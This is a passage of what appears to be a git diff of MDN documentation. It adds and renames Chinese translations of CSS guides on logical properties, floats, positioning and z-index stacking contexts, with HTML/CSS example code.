If I now change the writing mode of this component to vertical-rl using the {{CSSxRef("writing-mode")}} property, the alignment continues to work in the same way. The inline dimension is now running vertically and the block dimension horizontally. The grid doesn't look the same however, as the width assigned to the container is a horizontal measure, a measure tied to the physical and not the logical or flow relative running of the text.

- -

A grid in vertical writing mode.

- -

If instead of the width property we use the logical property {{CSSxRef("inline-size")}}, the component now works the same way no matter which writing mode it is displayed using.

- -

A grid layout in vertical writing mode

- -

You can try this out in the live example below. Change writing-mode from vertical-rl to horizontal-tb on .box to see how the different properties change the layout.

- -

{{EmbedGHLiveSample("css-examples/logical/intro-grid-example.html", '100%', 700)}}

- -

When working with a site in a writing mode other than a horizontal, top to bottom one, or when using writing modes for creative reasons, being able to relate to the flow of the content makes a lot of sense.

- -

Block and inline dimensions

- -

A key concept of working with flow relative properties and values is the two dimensions of block and inline. As we saw above, newer CSS layout methods such as Flexbox and Grid Layout use the concepts of block and inline rather than right and left/top and bottom when aligning items.

- -

The inline dimension is the dimension along which a line of text runs in the writing mode in use. Therefore, in an English document with the text running horizontally left to right, or an Arabic document with the text running horizontally right to left, the inline dimension is horizontal. Switch to a vertical writing mode (e.g. a Japanese document) and the inline dimension is now vertical, as lines in that writing mode run vertically.

- -

The block dimension is the other dimension, and the direction in which blocks — such as paragraphs — display one after the other. In English and Arabic these run vertically, whereas in any vertical writing mode these run horizontally.

- -

The below diagram shows the inline and block directions in a horizontal writing mode:

- -

diagram showing the inline axis running horizontally, block axis vertically.

- -

This diagram shows block and inline in a vertical writing mode:

- -

Diagram showing the block axis running horizontally the inline axis vertically.

- -

Browser support

- -

Logical Properties and Values can be thought of as a couple of groups in terms of current browser support. Some of the properties are essentially mappings from the physical versions, for example {{CSSxRef("inline-size")}} for {{CSSxRef("width")}} or {{CSSxRef("margin-inline-start")}} rather than {{CSSxRef("margin-left")}}. These mapped properties are starting to see good browser support, and if you look at the individual pages for the properties in the reference here on MDN you will see that Edge is the only modern browser currently missing these.

- -

There are then a group of properties which do not have a direct mapping in terms of existing physical properties. These are shorthands made possible by the fact that we can refer to both edges of the block or inline dimension at once. An example would be {{CSSxRef("margin-block")}}, which is a shorthand setting for {{CSSxRef("margin-block-start")}} and {{CSSxRef("margin-block-end")}}. These currently have no browser support.

- -
-

Note: The CSS Working Group are currently trying to decide what to do about the four-value shorthands for logical properties, for example the equivalents to setting four physical properties at once, like margins with the {{CSSxRef("margin")}} property. We would need some kind of modifier if we were to reuse margin for flow-relative properties. If you would like to read the suggestions or comment on them the relevant GitHub issue is #1282.

-
- -

Testing for browser support

- -

You can test for support of logical properties and values using feature queries. For example you could set a {{CSSxRef("width")}}, test for {{CSSxRef("inline-size")}} and, if it is supported, set the width to auto and the inline-size to the original width value.

- -

{{EmbedGHLiveSample("css-examples/logical/intro-feature-queries.html", "100%", 700)}}

- -

See also

- - diff --git a/files/zh-cn/web/css/css_logical_properties/floating_and_positioning/index.html b/files/zh-cn/web/css/css_logical_properties/floating_and_positioning/index.html new file mode 100644 index 0000000000..b96f3f6c88 --- /dev/null +++ b/files/zh-cn/web/css/css_logical_properties/floating_and_positioning/index.html @@ -0,0 +1,132 @@ +--- +title: 浮动和定位的逻辑属性 +slug: Web/CSS/CSS_Logical_Properties/浮动和定位 +translation_of: Web/CSS/CSS_Logical_Properties/Floating_and_positioning +--- +
{{CSSRef}}
+ +

逻辑属性和值指南 包含了 {{cssxref("float")}} 和{{cssxref("clear")}}逻辑属性到物理属性的映射, 以及与定位布局一起使用的定位属性. 通过本文,我们来看看如何使用它们。

+ +

Mapped properties and values

+ +

The table below details the properties and values discussed in this guide along with their physical mappings. They assume a horizontal {{cssxref("writing-mode")}}, with a left-to-right direction.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Logical property or valuePhysical property or value
{{cssxref("float")}}: inline-start{{cssxref("float")}}: left
{{cssxref("float")}}: inline-end{{cssxref("float")}}: right
{{cssxref("clear")}}: inline-start{{cssxref("clear")}}: left
{{cssxref("clear")}}: inline-end{{cssxref("clear")}}: right
{{cssxref("inset-inline-start")}}{{cssxref("left")}}
{{cssxref("inset-inline-end")}}{{cssxref("right")}}
{{cssxref("inset-block-start")}}{{cssxref("top")}}
{{cssxref("inset-block-end")}}{{cssxref("bottom")}}
{{cssxref("text-align")}}: start{{cssxref("text-align")}}: left
{{cssxref("text-align")}}: end{{cssxref("text-align")}}: right
+ +

In addition to these mapped properties there are some additional shorthand properties made possible by being able to address block and inline dimensions. These have no mapping to physical properties, aside from the {{cssxref("inset")}} property.

+ + + + + + + + + + + + + + + + + + + + + + +
Logical propertyPurpose
{{cssxref("inset-inline")}}Sets both of the above inset values for the inline dimension simultaneously.
{{cssxref("inset-block")}}Sets both of the above inset values for the block dimension simultaneously.
{{cssxref("inset")}}Sets all four inset values simultaneously with physical mapping of multi-value.
+ +

Float and clear example

+ +

The physical values used with the {{cssxref("float")}} and {{cssxref("clear")}} properties are left, right and both. The Logical Properties specification defines the values inline-start and inline-end as mappings for left and right.

+ +

In the example below I have two boxes — the first has the box floated with float: left, the second with float: inline-start. If you change the writing-mode to vertical-rl or the direction to rtl you will see that the left-floated box always sticks to the left, whereas the inline-start-floated item follows the direction and writing-mode.

+ +

{{EmbedGHLiveSample("css-examples/logical/float.html", '100%', 700)}}

+ +

Example: Inset properties for positioned layout

+ +

Positioning generally allows us to position an element in a manner relative to its containing block — we essentially inset the item relative to where it would fall based on normal flow. To do this we have historically used the physical properties {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}} and {{cssxref("left")}}.

+ +

These properties take a length or a percentage as a value, and relate to the user's screen dimensions.

+ +

New properties have been created in the Logical Properties specification for when you want the positioning to relate to the flow of text in your writing mode. These are as follows: {{cssxref("inset-block-start")}}, {{cssxref("inset-block-end")}}, {{cssxref("inset-inline-start")}} and {{cssxref("inset-inline-end")}}.

+ +

In the below example I have used the inset-block-start and inset-inline-end properties to position the blue box using absolute positioning inside the area with the grey dotted border, which has position: relative. Change the writing-mode property to vertical-rl, or add direction: rtl, and see how the flow relative box stays with the text direction.

+ +

{{EmbedGHLiveSample("css-examples/logical/positioning-inset.html", '100%', 700)}}

+ +

New two- and four-value shorthands

+ +

As with other properties in the specification we have some new shorthand properties, which give the ability to set two or four values at once.

+ +
    +
  • {{cssxref("inset")}} — sets all four sides together with physical mapping.
  • +
  • {{cssxref("inset-inline")}} — sets both logical inline insets.
  • +
  • {{cssxref("inset-block")}} — sets both logical block insets.
  • +
+ +
+

Note: The browsers that have implemented the Logical Properties specification have so far implemented the direct mappings and not the new shorthands. Look to the browser compatibility data section on each property page reference for more details.

+
+ +

Example: Logical values for text-align

+ +

The {{cssxref("text-align")}} property has logical values that relate to text direction — rather than using left and right we can use start and end. In the below example I have set text-align: right in the first block and text-align: end in the second.

+ +

If you change the value of direction to rtl you will see that the alignment stays to the right for the first block, but goes to the logical end on the left in the second.

+ +

{{EmbedGHLiveSample("css-examples/logical/text-align.html", '100%', 700)}}

+ +

This works in a more consistent way when using box alignment that uses start and end rather than physical directions for alignment.

diff --git "a/files/zh-cn/web/css/css_logical_properties/\346\265\256\345\212\250\345\222\214\345\256\232\344\275\215/index.html" "b/files/zh-cn/web/css/css_logical_properties/\346\265\256\345\212\250\345\222\214\345\256\232\344\275\215/index.html" deleted file mode 100644 index b96f3f6c88..0000000000 --- "a/files/zh-cn/web/css/css_logical_properties/\346\265\256\345\212\250\345\222\214\345\256\232\344\275\215/index.html" +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: 浮动和定位的逻辑属性 -slug: Web/CSS/CSS_Logical_Properties/浮动和定位 -translation_of: Web/CSS/CSS_Logical_Properties/Floating_and_positioning ---- -
{{CSSRef}}
- -

逻辑属性和值指南 包含了 {{cssxref("float")}} 和{{cssxref("clear")}}逻辑属性到物理属性的映射, 以及与定位布局一起使用的定位属性. 通过本文,我们来看看如何使用它们。

- -

Mapped properties and values

- -

The table below details the properties and values discussed in this guide along with their physical mappings. They assume a horizontal {{cssxref("writing-mode")}}, with a left-to-right direction.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Logical property or valuePhysical property or value
{{cssxref("float")}}: inline-start{{cssxref("float")}}: left
{{cssxref("float")}}: inline-end{{cssxref("float")}}: right
{{cssxref("clear")}}: inline-start{{cssxref("clear")}}: left
{{cssxref("clear")}}: inline-end{{cssxref("clear")}}: right
{{cssxref("inset-inline-start")}}{{cssxref("left")}}
{{cssxref("inset-inline-end")}}{{cssxref("right")}}
{{cssxref("inset-block-start")}}{{cssxref("top")}}
{{cssxref("inset-block-end")}}{{cssxref("bottom")}}
{{cssxref("text-align")}}: start{{cssxref("text-align")}}: left
{{cssxref("text-align")}}: end{{cssxref("text-align")}}: right
- -

In addition to these mapped properties there are some additional shorthand properties made possible by being able to address block and inline dimensions. These have no mapping to physical properties, aside from the {{cssxref("inset")}} property.

- - - - - - - - - - - - - - - - - - - - - - -
Logical propertyPurpose
{{cssxref("inset-inline")}}Sets both of the above inset values for the inline dimension simultaneously.
{{cssxref("inset-block")}}Sets both of the above inset values for the block dimension simultaneously.
{{cssxref("inset")}}Sets all four inset values simultaneously with physical mapping of multi-value.
- -

Float and clear example

- -

The physical values used with the {{cssxref("float")}} and {{cssxref("clear")}} properties are left, right and both. The Logical Properties specification defines the values inline-start and inline-end as mappings for left and right.

- -

In the example below I have two boxes — the first has the box floated with float: left, the second with float: inline-start. If you change the writing-mode to vertical-rl or the direction to rtl you will see that the left-floated box always sticks to the left, whereas the inline-start-floated item follows the direction and writing-mode.

- -

{{EmbedGHLiveSample("css-examples/logical/float.html", '100%', 700)}}

- -

Example: Inset properties for positioned layout

- -

Positioning generally allows us to position an element in a manner relative to its containing block — we essentially inset the item relative to where it would fall based on normal flow. To do this we have historically used the physical properties {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}} and {{cssxref("left")}}.

- -

These properties take a length or a percentage as a value, and relate to the user's screen dimensions.

- -

New properties have been created in the Logical Properties specification for when you want the positioning to relate to the flow of text in your writing mode. These are as follows: {{cssxref("inset-block-start")}}, {{cssxref("inset-block-end")}}, {{cssxref("inset-inline-start")}} and {{cssxref("inset-inline-end")}}.

- -

In the below example I have used the inset-block-start and inset-inline-end properties to position the blue box using absolute positioning inside the area with the grey dotted border, which has position: relative. Change the writing-mode property to vertical-rl, or add direction: rtl, and see how the flow relative box stays with the text direction.

- -

{{EmbedGHLiveSample("css-examples/logical/positioning-inset.html", '100%', 700)}}

- -

New two- and four-value shorthands

- -

As with other properties in the specification we have some new shorthand properties, which give the ability to set two or four values at once.

- -
    -
  • {{cssxref("inset")}} — sets all four sides together with physical mapping.
  • -
  • {{cssxref("inset-inline")}} — sets both logical inline insets.
  • -
  • {{cssxref("inset-block")}} — sets both logical block insets.
  • -
- -
-

Note: The browsers that have implemented the Logical Properties specification have so far implemented the direct mappings and not the new shorthands. Look to the browser compatibility data section on each property page reference for more details.

-
- -

Example: Logical values for text-align

- -

The {{cssxref("text-align")}} property has logical values that relate to text direction — rather than using left and right we can use start and end. In the below example I have set text-align: right in the first block and text-align: end in the second.

- -

If you change the value of direction to rtl you will see that the alignment stays to the right for the first block, but goes to the logical end on the left in the second.

- -

{{EmbedGHLiveSample("css-examples/logical/text-align.html", '100%', 700)}}

- -

This works in a more consistent way when using box alignment that uses start and end rather than physical directions for alignment.

diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/adding_z-index/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/adding_z-index/index.html new file mode 100644 index 0000000000..acd3b034ce --- /dev/null +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/adding_z-index/index.html @@ -0,0 +1,158 @@ +--- +title: Adding z-index +slug: Web/Guide/CSS/Understanding_z_index/Adding_z-index +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index +--- +

« CSS «理解z-index

+

使用 {{ cssxref("z-index") }}

+

在第一个例子 Stacking without z-index中, 我们描述了默认的摆放顺序。 当你需要指定不同的排列顺序时, 只要给元素指定一个z-index的数值就可以了。 

+

 

+

该属性必须是整数(正负均可), 它体现了元素在z轴的位置。 如果你对z轴体系不了解, 你也可以把它理解成“层叠”, 每个层都有一个顺序数, 顺序数大的层在上面, 小的在下面。 

+

注意!z-index只对指定了 positioned属性的元素有效。

+
    +
  • 底层: 距离观察者最远
  • +
  • ...
  • +
  •  -3 层
  • +
  •  -2 层
  • +
  •  -1 层
  • +
  •  0 层 默认层
  • +
  •  1 层
  • +
  •  2 层
  • +
  •  3 层
  • +
  • ...
  • +
  • 顶部: 最接近观察者
  • +
+
+

注释:

+
    +
  • 当没有指定z-index的时候, 所有元素都在会被渲染在默认层(0层)
  • +
  • 当多个元素的z-index属性相同的时候(在同一个层里面),那么将按照 Stacking without z-index 中描述的规则进行布局。 
  • +
+
+

在下一个例子中, 所有的层都是用z-index进行排序的。 元素div#5 的z-index无效, 因为他没有被指定position属性。 

+

Example of stacking rules modified using z-index

+

Example source code

+
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head><style type="text/css">
+
+div {
+   opacity: 0.7;
+   font: 12px Arial;
+}
+
+span.bold { font-weight: bold; }
+
+#normdiv {
+   z-index: 8;
+   height: 70px;
+   border: 1px dashed #999966;
+   background-color: #ffffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#reldiv1 {
+   z-index: 3;
+   height: 100px;
+   position: relative;
+   top: 30px;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#reldiv2 {
+   z-index: 2;
+   height: 100px;
+   position: relative;
+   top: 15px;
+   left: 20px;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#absdiv1 {
+   z-index: 5;
+   position: absolute;
+   width: 150px;
+   height: 350px;
+   top: 10px;
+   left: 10px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+#absdiv2 {
+   z-index: 1;
+   position: absolute;
+   width: 150px;
+   height: 350px;
+   top: 10px;
+   right: 10px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+</style></head>
+
+<body>
+
+<br /><br />
+
+<div id="absdiv1">
+   <br /><span class="bold">DIV #1</span>
+   <br />position: absolute;
+   <br />z-index: 5;
+</div>
+
+<div id="reldiv1">
+   <br /><span class="bold">DIV #2</span>
+   <br />position: relative;
+   <br />z-index: 3;
+</div>
+
+<div id="reldiv2">
+   <br /><span class="bold">DIV #3</span>
+   <br />position: relative;
+   <br />z-index: 2;
+</div>
+
+<div id="absdiv2">
+   <br /><span class="bold">DIV #4</span>
+   <br />position: absolute;
+   <br />z-index: 1;
+</div>
+
+<div id="normdiv">
+   <br /><span class="bold">DIV #5</span>
+   <br />no positioning
+   <br />z-index: 8;
+</div>
+
+</body></html>
+
+

See also

+ +
+

Original Document Information

+ +
+

{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Ajout_de_z-index" } ) }}

diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/index.html new file mode 100644 index 0000000000..19f49650d1 --- /dev/null +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/index.html @@ -0,0 +1,47 @@ +--- +title: 理解CSS的 z-index属性 +slug: Web/Guide/CSS/Understanding_z_index +tags: + - CSS + - Guide +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index +--- +

{{cssref}}

+ +

通常情况下,HTML页面可以被认为是二维的,因为文本,图像和其他元素被排列在页面上而不重叠。在这种情况下,只有一个渲染进程,所有元素都知道其他元素所占用的空间。 {{cssxref("z-index")}}属性可让你在渲染内容时调整对象分层的顺序。

+ +
+

在 CSS 2.1 中, 所有的盒模型元素都处于三维坐标系中。 除了我们常用的横坐标和纵坐标, 盒模型元素还可以沿着“z 轴”层叠摆放, 当他们相互覆盖时, z 轴顺序就变得十分重要。

+
+ +

(参见 CSS 2.1 Section 9.9.1 - Layered presentation)

+ +

这意味着其实 CSS 允许你在现有的渲染引擎上层叠的摆放盒模型元素。 所有的层都可以用一个整数( z 轴顺序)来表明当前层在 z 轴的位置。 数字越大, 元素越接近观察者。Z 轴顺序用 CSS 的 {{ cssxref("z-index") }} 属性来指定。

+ +

使用 z-index 很简单: 给它指定一个整数值即可。 然而,在层叠比较复杂的 HTML 元素上使用 z-index 时,结果可能让人觉得困惑,甚至不可思议。 这是由复杂的元素排布规则导致的。  更多细节请参见  CSS-2.1 Appendix E 。

+ +

本文将通过一些简单的例子来解释这些规则。

+ +
    +
  1. Stacking without z-index : 默认的摆放规则,即不含有 z-index 属性时
  2. +
  3. Stacking and float : 浮动元素的处理方式
  4. +
  5. Adding z-index : 使用 z-index 来改变堆放顺序
  6. +
  7. The stacking context : 内容堆放注意事项
  8. +
  9. Stacking context example 1 : 在两层元素的第二层上使用 z-index
  10. +
  11. Stacking context example 2 : 在两层元素的所有层上使用 z-index
  12. +
  13. Stacking context example 3 : 在三层元素的第二层上使用 z-index
  14. +
+ +
+

 

+ +

原始文档信息

+ +

 

+ + +
diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html new file mode 100644 index 0000000000..9312c1759d --- /dev/null +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html @@ -0,0 +1,158 @@ +--- +title: 层叠与浮动 +slug: Web/Guide/CSS/Understanding_z_index/Stacking_and_float +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float +--- +

« CSS « 理解 CSS 中的 z-index

+ +

层叠与浮动

+ +

对于浮动的块元素来说,层叠顺序变得有些不同。浮动块元素被放置于非定位块元素与定位块元素之间:

+ +
    +
  1. 根元素的背景与边框
  2. +
  3. 位于普通流中的后代块元素按照它们在 HTML 中出现的顺序层叠
  4. +
  5. 浮动块元素
  6. +
  7. 后代中的定位元素按照它们在 HTML 中出现的顺序层叠
  8. +
+ +

实际上,在接下来的例子中你会看到,非定位块元素(DIV #4)的背景与边框丝毫不会受到浮动块元素的影响,但内容却恰恰相反。出现这种情况是由于 CSS 的标准浮动行为引起的。

+ +

这种行为可以通过前一章列表的改进版本来解释:

+ +
    +
  1. 根元素的背景与边框
  2. +
  3. 位于普通流中的后代块元素按照它们在 HTML 中出现的顺序层叠
  4. +
  5. 浮动块元素
  6. +
  7. 常规流中的后代行内元素
  8. +
  9. 后代中的定位元素按照它们在 HTML 中出现的顺序层叠
  10. +
+ +
注意: 在下面的例子中,除了非定位的那个块元素外,所有的块元素都是半透明的,以便来显示层叠顺序。如果减少非定位元素(DIV #4)的透明度,会发生很诡异的事情:该元素的背景和边框会出现在浮动块元素上方,但是仍然处于定位元素的下方。我不能确定这是规范的 bug 或是怪异的解析。(设置透明度会隐式的创建一个层叠上下文。)
+ +

{{ EmbedLiveSample('该示例的源码', '563', '255', '', 'Web/Guide/CSS/Understanding_z_index/Stacking_and_float') }}

+ +

该示例的源码

+ +
<!DOCTYPE html>
+<html>
+<head>
+    <meta charset="UTF-8">
+    <title>Stacking and float</title>
+    <style type="text/css">
+
+    div {
+        font: 12px Arial;
+    }
+
+    span.bold { font-weight: bold; }
+
+    #absdiv1 {
+        position: absolute;
+        width: 150px;
+        height: 200px;
+        top: 10px;
+        right: 140px;
+        border: 1px dashed #990000;
+        background-color: #ffdddd;
+        text-align: center;
+    }
+
+    #normdiv {
+        /* opacity: 0.7; */
+        height: 100px;
+        border: 1px dashed #999966;
+        background-color: #ffffcc;
+        margin: 0px 10px 0px 10px;
+        text-align: left;
+    }
+
+    #flodiv1 {
+        margin: 0px 10px 0px 20px;
+        float: left;
+        width: 150px;
+        height: 200px;
+        border: 1px dashed #009900;
+        background-color: #ccffcc;
+        text-align: center;
+    }
+
+    #flodiv2 {
+        margin: 0px 20px 0px 10px;
+        float: right;
+        width: 150px;
+        height: 200px;
+        border: 1px dashed #009900;
+        background-color: #ccffcc;
+        text-align: center;
+    }
+
+    #absdiv2 {
+        position: absolute;
+        width: 150px;
+        height: 100px;
+        top: 130px;
+        left: 100px;
+        border: 1px dashed #990000;
+        background-color: #ffdddd;
+        text-align: center;
+    }
+
+</style>
+</head>
+
+<body>
+    <br /><br />
+
+    <div id="absdiv1">
+        <br /><span class="bold">DIV #1</span>
+        <br />position: absolute;
+    </div>
+
+    <div id="flodiv1">
+        <br /><span class="bold">DIV #2</span>
+        <br />float: left;
+    </div>
+
+    <div id="flodiv2">
+        <br /><span class="bold">DIV #3</span>
+        <br />float: right;
+    </div>
+
+    <br />
+
+    <div id="normdiv">
+        <br /><span class="bold">DIV #4</span>
+        <br />no positioning
+    </div>
+
+    <div id="absdiv2">
+        <br /><span class="bold">DIV #5</span>
+        <br />position: absolute;
+    </div>
+</body>
+</html>
+
+ +

相关链接

+ + + +
+

原始文档信息

+ + +
+ +

 

diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html new file mode 100644 index 0000000000..59f298d269 --- /dev/null +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html @@ -0,0 +1,133 @@ +--- +title: Stacking context example 1 +slug: Web/Guide/CSS/Understanding_z_index/Stacking_context_example_1 +tags: + - 理解_CSS_z-index +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1 +--- +

« CSS « Understanding CSS z-index

+ +

Stacking context 层叠上下文 例子 1

+ +

先看一个基础的例子。在根元素的层叠上下文中,有两个都是相对定位且没有设置 z-index 属性的 DIV(DIV #1 和 DIV #3)。在 DIV #1 中有一个绝对定位的 DIV #2,而在 DIV #3 中有一个绝对定位的 DIV #4,DIV #2 和 DIV #4 也都没有设置 z-index 属性。

+ +

现在唯一的层叠上下文就是根元素的上下文。因为没有 z-index 值,所有的元素按照出现(在 HTML 中)的顺序层叠。

+ +

Stacking context example 1

+ +

如果给 DIV #2 设置一个正的 z-index  值 (不能是 0 或 auto) ,那么 DIV #2 会渲染在其他所有 DIV 之上。

+ +

Stacking context example 1

+ +

然后如果给 DIV #4 也设置一个正的 z-index  值,且这个值比给的 DIV #2 设置的值要大,则 DIV #4  会渲染在其他所有 DIV(包括 DIV #2)之上。

+ +

Stacking context example 1

+ +

在这个列子中,DIV #2 和 DIV #4 不是兄弟关系(因为它们的父元素不同)。即便如此,我们也可以通过 z-index 来控制 DIV #4 和 DIV #2 的层叠关系。这是因为,DIV #1 和 DIV #3 没有设置 z-index 的值,所以它们不会创建层叠上下文。这就意味着 DIV #1 和 DIV #3 的所有内容(包括 DIV #2 和 DIV #4)都属于同一个层叠上下文(即根元素的层叠上下文)。

+ +

就层叠上下文而言,DIV #1 和 DIV #3 隶属于根元素,因此层次结构如下所示:

+ +
    +
  • 根层叠上下文(root stacking context) +
      +
    • DIV #2 (z-index 1)
    • +
    • DIV #4 (z-index 2)
    • +
    +
  • +
+ +
注意: DIV #1 和 DIV #3 不是透明的。记住所有设置了 opacity 小于 1 的定位元素都会隐式地生成一个层叠上下文(和给元素增加一个 z-index 值的效果相同)。上述的例子是为了说明,当父元素没有生成一个层叠上下文环境的时候,各元素是怎么层叠的。
+ +

Example

+ +

HTML

+ +
<div id="div1">
+<br /><span class="bold">DIV #1</span>
+<br />position: relative;
+   <div id="div2">
+   <br /><span class="bold">DIV #2</span>
+   <br />position: absolute;
+   <br />z-index: 1;
+   </div>
+</div>
+
+<br />
+
+<div id="div3">
+<br /><span class="bold">DIV #3</span>
+<br />position: relative;
+   <div id="div4">
+   <br /><span class="bold">DIV #4</span>
+   <br />position: absolute;
+   <br />z-index: 2;
+   </div>
+</div>
+
+</body></html>
+
+ +

CSS

+ +
.bold {
+    font-weight: bold;
+    font: 12px Arial;
+}
+#div1,
+#div3 {
+    height: 80px;
+    position: relative;
+    border: 1px dashed #669966;
+    background-color: #ccffcc;
+    padding-left: 5px;
+}
+#div2 {
+    opacity: 0.8;
+    z-index: 1;
+    position: absolute;
+    width: 150px;
+    height: 200px;
+    top: 20px;
+    left: 170px;
+    border: 1px dashed #990000;
+    background-color: #ffdddd;
+    text-align: center;
+}
+#div4 {
+    opacity: 0.8;
+    z-index: 2;
+    position: absolute;
+    width: 200px;
+    height: 70px;
+    top: 65px;
+    left: 50px;
+    border: 1px dashed #000099;
+    background-color: #ddddff;
+    text-align: left;
+    padding-left: 10px;
+}
+ +

Result

+ +

{{ EmbedLiveSample('Example', '', '', '', 'Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1') }}

+ +

See also

+ + + +
+

Original Document Information

+ + +
diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html new file mode 100644 index 0000000000..3c21bef062 --- /dev/null +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html @@ -0,0 +1,142 @@ +--- +title: Stacking context example 2 +slug: Web/Guide/CSS/Understanding_z_index/Stacking_context_example_2 +tags: + - CSS + - 理解css的index属性 + - 高级 +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2 +--- +

« CSS « 理解CSS z-index

+ +

层叠上下文示例 2

+ +

这是一个非常简单的例子, 但它是理解层叠上下文这个概念的关键。还是和之前的例子中一样的四个DIV,不过现在z-index属性被分配在两个水平的层次结构中。

+ +

{{ EmbedLiveSample('Example_source_code', '352', '270', '', 'Web/Guide/CSS/Understanding_z_index/Stacking_context_example_2') }}

+ +

可以看到现在DIV #2 (z-index: 2)在DIV #3 (z-index: 1)的上面,因为他们都属于同一个层叠上下文(根元素创建的层叠上下文),所以z-index的值决定了元素如何叠放。

+ +

奇怪的是DIV #2 (z-index: 2)在DIV #4 (z-index: 10)的上面,尽管DIV #2的z-index值小于DIV #4。原因在于它们不属于同一个层叠上下文。DIV #4处于DIV #3所创建的层叠上下文中,而整个DIV #3(包含其后代元素)是在DIV #2下面的。

+ +

为了更好的理解这种情况, 这里列出了层叠上下文的层次结构:

+ +
    +
  • 根上下文(root stacking context) +
      +
    • DIV #2 (z-index 2)
    • +
    • DIV #3 (z-index 1) +
        +
      • DIV #4 (z-index 10)
      • +
      +
    • +
    +
  • +
+ +
Note: 值得记住的是,通常HTML的层次结构和层叠上下文的层次结构是不同的。在层叠上下文的层次结构中,没有创建层叠上下文的元素同其父级处于一个层叠上下文。
+ +

示例源码

+ +
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head><style type="text/css">
+
+div { font: 12px Arial; }
+
+span.bold { font-weight: bold; }
+
+#div2 { z-index: 2; }
+#div3 { z-index: 1; }
+#div4 { z-index: 10; }
+
+#div1,#div3 {
+   height: 80px;
+   position: relative;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   padding-left: 5px;
+}
+
+#div2 {
+   opacity: 0.8;
+   position: absolute;
+   width: 150px;
+   height: 200px;
+   top: 20px;
+   left: 170px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+#div4 {
+   opacity: 0.8;
+   position: absolute;
+   width: 200px;
+   height: 70px;
+   top: 65px;
+   left: 50px;
+   border: 1px dashed #000099;
+   background-color: #ddddff;
+   text-align: left;
+   padding-left: 10px;
+}
+
+
+</style></head>
+
+<body>
+
+    <br />
+
+    <div id="div1"><br />
+        <span class="bold">DIV #1</span><br />
+        position: relative;
+        <div id="div2"><br />
+            <span class="bold">DIV #2</span><br />
+            position: absolute;<br />
+            z-index: 2;
+        </div>
+    </div>
+
+    <br />
+
+    <div id="div3"><br />
+        <span class="bold">DIV #3</span><br />
+        position: relative;<br />
+        z-index: 1;
+        <div id="div4"><br />
+            <span class="bold">DIV #4</span><br />
+            position: absolute;<br />
+            z-index: 10;
+        </div>
+    </div>
+
+</body>
+</html>
+
+ +

相关文章

+ + + +
+

原文信息

+ + +
+ +

 

diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html new file mode 100644 index 0000000000..f7d2972c7c --- /dev/null +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html @@ -0,0 +1,190 @@ +--- +title: Stacking context example 3 +slug: Web/Guide/CSS/Understanding_z_index/Stacking_context_example_3 +tags: + - CSS + - 层叠上下文 + - 理解css的z-index属性 +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3 +--- +

« CSS « Understanding CSS z-index

+ +

层叠上下文示例 3

+ +

最后一个例子展示了,在多层级的HTML结构中混合了多个定位元素且使用类选择器设置z-index属性时出现的问题。

+ +

我们来看一个用多个定位的div实现的三级菜单的例子,二级菜单和三级菜单在鼠标悬停或点击其父元素时才出现,通常这样的菜单在客户端和服务端都是由脚本生成的,所以样式规则不是通过ID选择器设置而是通过类选择器设置。

+ +

如果这个三级菜单有部分区域重叠,管理层叠顺序就会成为一个问题。

+ +

{{ EmbedLiveSample('Example_source_code', '320', '330', '', 'Web/Guide/CSS/Understanding_z_index/Stacking_context_example_3') }}

+ + + +

一级菜单仅仅是相对定位,所以没有创建层叠上下文。

+ +

